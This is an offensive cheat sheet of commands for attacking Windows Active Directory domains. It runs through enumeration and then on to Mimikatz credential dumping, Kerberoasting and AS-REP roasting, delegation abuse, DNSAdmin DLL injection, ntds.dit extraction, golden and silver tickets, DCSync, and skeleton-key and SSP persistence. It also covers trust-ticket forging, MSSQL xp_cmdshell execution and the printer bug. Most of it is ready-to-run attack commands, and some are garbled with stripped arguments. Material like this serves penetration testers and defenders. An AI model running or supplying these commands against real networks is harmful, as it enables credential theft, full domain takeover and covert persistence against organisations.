Active Directory

A cheat sheet that contains common enumeration and attack methods for Windows Active Directory. This cheat sheet is inspired by the PayloadAllTheThingsarrow-up-right repo.

Tools

Enumeration

Using PowerView

  • Get Current Domain: Get-NetDomain

  • Enum Other Domains: Get-NetDomain -Domain <DomainName>

  • Get Domain SID: Get-DomainSID

  • Get Domain Policy: Get-DomainPolicy

Will show us the policy configurations of the Domain about system access or kerberos

Get Domain Controllers:

Enumerate Domain Users:

Check last password change

Get a specific "string" on a user's attribute

Enumerate user logged on a machine

Enumerate Session Information for a machine

Enum Domain Computers:

Enum Interesting Group Members

Enumerate Shares

Enum Group Policies:

Enum OUs:

Enum ACL

Enum Domain Trust:

Enum Forest Trust:

User Hunting:

Priv Esc to Domain Admin w/ User Hunting

I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit!

PowerView 3.0 Tricksarrow-up-right

Using AD Module

  • Get Current Domain: Get-ADDomain

  • Enum Other Domains: Get-ADDomain -Identity <Domain>

  • Get Domain SID: Get-DomainSID

  • Get Domain Controlers:

  • Enumerate Domain Users:

  • Enum Domain Computers:

  • Enum Domain Trust:

  • Enum Forest Trust:

Using Bloodhound

Exe Ingestor

.\SharpHound.exe --CollectionMethod All --LDAPUser --LDAPPass --JSONFolder

Powershell Module Ingestor

. .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -LDAPUser -LDAPPass -OutputDirectory

Other Enumeration Tools

Local Privilege Escalation

Lateral Movement

Powershell Remoting

Enable Powershell Remoting on current Machine (Needs Admin Access)

Enable-PSRemoting

Entering or Starting a new PSSession (Needs Admin Access)

$sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions

Remote Code Execution with PS Credentials

$SecPassword = ConvertTo-SecureString '' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\', $SecPassword) Invoke-Command -ComputerName -Credential $Cred -ScriptBlock {whoami}

Import a powershell module and execute its functions remotelyxecute the command and start a session

Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess

Interact with the session

Enter-PSSession -Session $sess

Create a new session

$sess = New-PSSession -ComputerName

Execute command on the session

Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

Check the result of the command to confirm we have an interactive session

Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz & Invoke-Mimikatz

Dump credentials:

Invoke-Mimikatz -DumpCreds

Dump credentials in remote machines:

Invoke-Mimikatz -DumpCreds -ComputerName

Execute classic mimikatz commands:

Invoke-Mimikatz -Command '"sekrlusa::"'

Get User Accounts that are used as Service Accounts

Get-NetUser -SPN

Get every available SPN account, request a TGS and dump its hash

Invoke-Kerberoast

Requesting the TGS for a single account:

Request-SPNTicket

Export all tickets using Mimikatz

Invoke-Mimikatz -Command '"kerberos::list /export"'

Get User Accounts that are used as Service Accounts

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

python GetUserSPNs.py /: -outputfile

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose

Get a spesific Accounts hash:

Get-ASREPHash -UserName -Verbose

Get any ASREPRoastable Users hashes:

Invoke-ASREPRoast -Verbose

Trying the attack for all domain users

.\Rubeus.exe asreproast /outfile:

Trying the attack for the specified users on the file

python GetNPUsers.py / -usersfile -outputfile

Check for interesting permissions on accounts:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

Check if current user has already an SPN setted:

Get-DomainUser -Identity | select serviceprincipalname

Force set the SPN on the account:

Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}

Check if current user has already an SPN setted

Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName

Force set the SPN on the account:

Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}

List shadow copies using vssadmin (Needs Admnistrator Access)

vssadmin list shadows

List shadow copies using diskshadow

diskshadow list shadows all

mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Discover domain joined computers that have Unconstrained Delegation enabled

Get-NetComputer -UnConstrained

List tickets and check if a DA or some High Value target has stored its TGT

Invoke-Mimikatz -Command '"sekurlsa::tickets"'

Command to monitor any incoming sessions on our compromised server

Invoke-UserHunter -ComputerName -Poll -UserName -Delay

-Verbose

Dump the tickets to disk:

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

Impersonate the user using ptt attack:

Invoke-Mimikatz -Command '"kerberos::ptt "'

Enumerate Users and Computers with constrained delegation

Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth

If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo

tgt::ask /user: /domain:<Domain's FQDN> /rc4:

Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation

tgs::s4u /tgt: /user:<UserToImpersonate>@ /service:

Finally use mimikatz to ptt the TGS

Invoke-Mimikatz -Command '"kerberos::ptt "'

Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt

Import Powermad and use it to create a new MACHINE ACCOUNT

. .\Powermad.ps1 New-MachineAccount -MachineAccount -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

Import PowerView and get the SID of our new created machine account

. .\PowerView.ps1 $ComputerSid = Get-DomainComputer -Properties objectsid | Select -Expand objectsid

Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)

Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView

Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

After that we need to get the RC4 hash of the new machine account's password using Rubeus

Rubeus.exe hash /password:'p@ssword!'

And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus

Rubeus.exe s4u /user: /rc4: /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

Finally we can access the C$ drive of the target machine

dir \TargetMachine.wtver.domain\C$

Using dnscmd:

dnscmd /config /serverlevelplugindll \Path\To\Our\Dll\malicious.dll

Restart the DNS Service:

sc \DNSServer stop dns sc \DNSServer start dns

Create a .txt file that will contain the shadow copy process script

Script ->{ set metadata c:\metadata.cab set context clientaccessible set context persistent begin backup add volume c: alias mydrive create expose %mydrive% w: }

Importing both dlls from the repo using powershell

Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll

Checking if the SeBackupPrivilege is enabled

Get-SeBackupPrivilege

If it isn't we enable it

Set-SeBackupPrivilege

Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice

Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\\ntds.dit -Overwrite

Dump the SYSTEM hive

reg save HKLM\SYSTEM c:\temp\system.hive

Get the SID of the Current Domain using PowerView

Get-DomainSID -Domain current.domain.local

Get the SID of the Root Domain using PowerView

Get-DomainSID -Domain root.domain.local

Create the Enteprise Admins SID

Format: RootDomainSID-519

Forge "Extra" Golden Ticket using mimikatz

kerberos::golden /user:Administrator /domain:current.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

Inject the ticket into memory

kerberos::ptt \path\to\ticket\golden.kirbi

List the DC of the Root Domain

dir \dc.root.domain.local\C$

Or DCsync and dump the hashes using mimikatz

lsadump::dcsync /domain:root.domain.local /all

Execute mimikatz on DC as DA to grab krbtgt hash:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

On any machine:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:<Domain's SID> /krbtgt: id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):

Invoke-Mimikatz -Command '"lsadump::dcsync /user:\"'

DCsync using secretsdump.py from impacket with NTLM authentication

secretsdump.py /:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

DCsync using secretsdump.py from impacket with Kerberos Authentication

secretsdump.py -no-pass -k /<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Invoke-Mimikatz -Command '"kerberos::golden /domain: /sid: /target: /service: /rc4:<TheSPN's Account NTLM Hash> /user: /ptt"'

Exploitation Command runned as DA:

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>

Access using the password "mimikatz"

Enter-PSSession -ComputerName -Credential \Administrator

Dump DSRM password (needs DA privs):

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

This is a local account, so we can PTH and authenticate!

BUT we need to alter the behaviour of the DSRM account before pth:

Connect on DC:

Enter-PSSession -ComputerName <DC's Name>

Alter the Logon behaviour on registry:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

If the property already exists:

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Get current Security Package:

$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages'

Append mimilib:

$packages += "mimilib"

Change the new packages name

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages

ALTERNATIVE:

Invoke-Mimikatz -Command '"misc::memssp"'

Dump the trust key

Invoke-Mimikatz -Command '"lsadump::trust /patch"' Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Forge an inter-realm TGT using the Golden Ticket attack

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:

/rc4: /service:krbtgt /target: /ticket:

"'

.\Rubeus.exe asktgs /ticket: /service:"Service's SPN" /ptt

Get-SQLConnectionTestThreaded Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

PowerUpSQL:

Get-SQLServerLink -Instace -Verbose

MSSQL Query:

select * from master..sysservers

Manualy:

select from openquery("LinkedDatabase", 'select from master..sysservers')

Get-SQLServerLinkCrawl -Instance -Verbose

Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell

Or if it is disabled enable it:

EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Get-SQLServerLinkCrawl -Instace -Query "exec master..xp_cmdshell 'whoami'"

Start monitoring for TGTs with rubeus:

Rubeus.exe monitor /interval:5 /filteruser:target-dc$

Execute the printerbug to trigger the force authentication of the target DC to our machine

SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

Get the base64 captured TGT from Rubeus and inject it into memory:

Rubeus.exe ptt /ticket:

Dump the hashes of the target domain using mimikatz:

lsadump::dcsync /domain:external.forest.local /all

```

Detailed Articles:

Resources

Last updated